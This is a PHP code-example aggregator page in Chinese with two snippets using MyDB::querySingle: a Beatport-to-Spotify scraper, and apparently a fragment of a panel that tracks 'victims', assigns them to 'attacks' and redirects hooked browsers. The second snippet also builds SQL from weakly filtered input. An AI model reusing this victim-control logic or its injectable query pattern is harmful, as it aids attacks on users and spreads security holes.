本文整理汇总了PHP中MyDB::querySingle方法的典型用法代码示例。如果您正苦于以下问题:PHP MyDB::querySingle方法的具体用法?PHP MyDB::querySingle怎么用?PHP MyDB::querySingle使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类MyDB
的用法示例。
在下文中一共展示了MyDB::querySingle方法的2个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: getFile
set_time_limit(0);
$link = array_shift($pages);
$done[] = $link;
//$content = file_get_contents($link);
$content = getFile($link);
//load qp with content fetched and initialise from body tag
$htmlqp = @htmlqp($content, 'body');
if ($htmlqp->length > 0) {
//we have some data to parse.
$tracks = $htmlqp->find('.track');
foreach ($tracks as $track) {
$title = $track->find('.buk-track-primary-title')->first()->text();
$artist = $track->find('.buk-track-artists > a')->first()->text();
$link_to_track = 'https://pro.beatport.com' . $track->find('.buk-track-title > a')->first()->attr('href');
//CHECK IF ARTIST ALREADY EXIST IN DATABASE, PRIOR TO SEARCHING ON SPOTIFY
$artist_spotify_id = $db->querySingle("select Artist_spotify_id from artist where Artist_name='" . SQLite3::escapeString($artist) . "'");
//Like msq_realescape.
if (!$artist_spotify_id) {
// If not in database -- get id via Spotify API.
$spotify_artist = $api->search($artist, 'artist');
//Geting artist id via Spotify Api
foreach ($spotify_artist->artists->items as $spotify_id) {
$artist_name = $spotify_id->name;
$artist_spotify_id_tmp = $spotify_id->id;
// store in temp var. Why did you store id as temporary variable? Got it. To use in a bottom loop.
if ($artist_name === $artist) {
$artist_spotify_id = $spotify_id->id;
//this is what we need
//echo '<br>';
//echo 'Artist name: ' . $artist_name;
//echo '<br>';
示例2: checkAction
if (isset($_GET['c']) && $_GET['c'] != "") {
$code = ereg_replace('/[^a-z0-9]/', '', $_GET['c']);
// suckurity 101
$attack_id = $db->querySingle("SELECT id FROM attacks WHERE control_code = '" . $code . "'", false);
AddVictimToAttack($db, intval($attack_id));
}
}
// check the action, return new URL or NULL for nothing
function checkAction($db)
{
$res = "0;";
$new_url = $db->querySingle("SELECT new_url FROM victims WHERE action = 1 AND id = " . (int) $_SESSION['id'], false);
if ($new_url) {
$res = "1;" . $new_url;
}
print $res;
// we give the result already (for the redirect?), but we set it back to 0
$db->query("UPDATE victims SET action = 0 WHERE id = " . (int) $_SESSION['id']);
}
function AddVictimToAttack($db, $attack_id)
{
$db->query("UPDATE victims SET attack_id = " . (int) $attack_id . " WHERE id = " . $_SESSION['id']);
}
if (isset($_SESSION["id"]) && $_SESSION["id"] > 0 && $db->querySingle("SELECT id FROM victims WHERE id = " . (int) $_SESSION['id'], false)) {
// we are an active session
setActiveAndPing($db);
print checkAction($db);
} else {
// there's no id found for this victim
zombieVictim($db);
}